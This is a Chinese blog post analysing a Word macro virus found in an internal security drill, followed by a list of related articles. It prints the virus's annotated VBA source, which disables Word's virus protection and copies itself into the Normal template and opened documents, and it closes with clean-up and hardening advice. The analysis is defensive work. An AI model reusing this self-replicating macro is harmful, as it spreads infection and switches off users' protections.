记一次宏病毒分析

本文涉及的产品
应用实时监控服务-用户体验监控,每月100OCU免费额度
函数计算FC,每月15万CU 3个月
应用实时监控服务-可观测链路OpenTelemetry版,每月50GB免费额度
简介: 记一次宏病毒分析

01 事件背景介绍

某内部应急演练中,安全部门在终端防护软件中发现宏病毒告警,现需根据样本文件进行分析。


02 事件分析过程



对样本文件进行云沙箱病毒检测,检测结果如下:

image.png

image.png

在线云沙箱检测发现该文件属于宏病毒文件,该病毒由ThisDocument的模块组成,它使用Document_Open宏,Document_Close 宏和Document_New宏进行感染。它会感染WORD的通用模版(normal.dot)文件。


在这里插入图片描述

'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next  
   Application.DisplayStatusBar = False   不显示状态栏,防止显示宏的运行状态
   Options.VirusProtection = False   关闭病毒保护功能
   Options.SaveNormalPrompt = False   如果共用模板被修改,不显示提示窗口,直接保存
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then 判断感染标志
          .DeleteLines 1, .CountOfLines   删除目标文件的所有代码
          .InsertLines 1, MyCode   向目标文件嵌入宏代码
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName   保存文档
       End If
   End With
End Sub


根据上述代码分析,当带有该宏代码的文档被打开后,会检查模板文件是否已经受到 APMP 病毒感染。如果已经感染,则删除公用模板中的旧代码,将新的恶意代码插入模板中并保存。如果文档未被感染,则不会发生任何事情。

宏代码中对Normal.dotm通用模版文件操作记录见下图:
image.png

image.png

通过上述行为综合分析,该宏代码的核心逻辑为检查模版是否被感染,如果被感染则进行替换,无其余明显的恶意行为。


03 事件分析结果



该宏代码的核心逻辑为检查模版是否被感染,如果被感染则进行替换,无其余明显的恶意行为。


04 安全加固建议


1、处置建议:删除dotm模板文件(默认文件路径为:C:\Users\Administrator\AppData\Roaming\Microsoft\Templates\normal.dotm)后重启Word,或重新安装Word;使用终端杀毒软件进行全盘查杀,清除感染文档;设置宏安全级别为非常高,防止除Word默认的宏以外的其他宏运行;设置取消“信任所有安全的加载项和模板”,设置完毕后打开带有宏的Word文档时,会禁用宏。

2、提高安全意识:当网上下载资源、接收到别人发送的文件时,首先应有可能存在带毒文件的防范意识。不能直接打开或执行,而应先对文件进行扫描,确认文件无问题才可使用。

目录
相关文章
|
编译器 C语言
【C语言航路外传】一招解决visual studio部分函数不安全问题
【C语言航路外传】一招解决visual studio部分函数不安全问题
96 0
|
8月前
|
安全 调度
软件体系结构 - 宏内核
【4月更文挑战第19天】软件体系结构 - 宏内核
110 0
|
8月前
|
开发框架 Java .NET
救命!C程序运行原理的秘密居然被我发现了
救命!C程序运行原理的秘密居然被我发现了
48 0
|
开发框架 .NET Linux
拨开乌云见月明:断点+内存映射终章(CLR 问题)
【内存映射+断点】,从今年一月份开始遇到这个问题,当时并没有重视。实际上的问题并没有解决,而是掩盖了这个问题。1月份的原文:《Net7的默认构造函数.Ctor下断点出错续》。前几天又遇到了,这种一而再的问题,于是乎必须要解决了。到今天为止,似乎问题的主旨已然清晰。本篇除了阐述问题的来龙去脉,还要更正前两篇的一些错误观点。
119 0
|
编译器 测试技术 C语言
【C语言航路外传】隐式转换与优先级的那点事(你程序总是出bug的一个重要原因)
【C语言航路外传】隐式转换与优先级的那点事(你程序总是出bug的一个重要原因)
101 0
|
安全 API Windows
[病毒分析]熊猫烧香(下)核心函数部分分析(三)
[病毒分析]熊猫烧香(下)核心函数部分分析
330 0
[病毒分析]熊猫烧香(下)核心函数部分分析(三)
|
安全 Windows
[病毒分析]熊猫烧香(下)核心函数部分分析(二)
[病毒分析]熊猫烧香(下)核心函数部分分析
177 0
[病毒分析]熊猫烧香(下)核心函数部分分析(二)
|
安全
[病毒分析]熊猫烧香(下)核心函数部分分析(四)
[病毒分析]熊猫烧香(下)核心函数部分分析
152 0
 [病毒分析]熊猫烧香(下)核心函数部分分析(四)
|
安全 API
[病毒分析]熊猫烧香(下)核心函数部分分析(一)
[病毒分析]熊猫烧香(下)核心函数部分分析
181 0
[病毒分析]熊猫烧香(下)核心函数部分分析(一)
|
存储 安全
在VBA中使用DLL改善宏的攻击功能
本文讲的是在VBA中使用DLL改善宏的攻击功能,最近对在VBA中使用DLL的大量研究主要集中在如何将shellcode注入到当前运行的进程这一部分,本文就是基于这些研究,向大家展示在VBA中使用DLL改善宏的攻击功能。
2237 0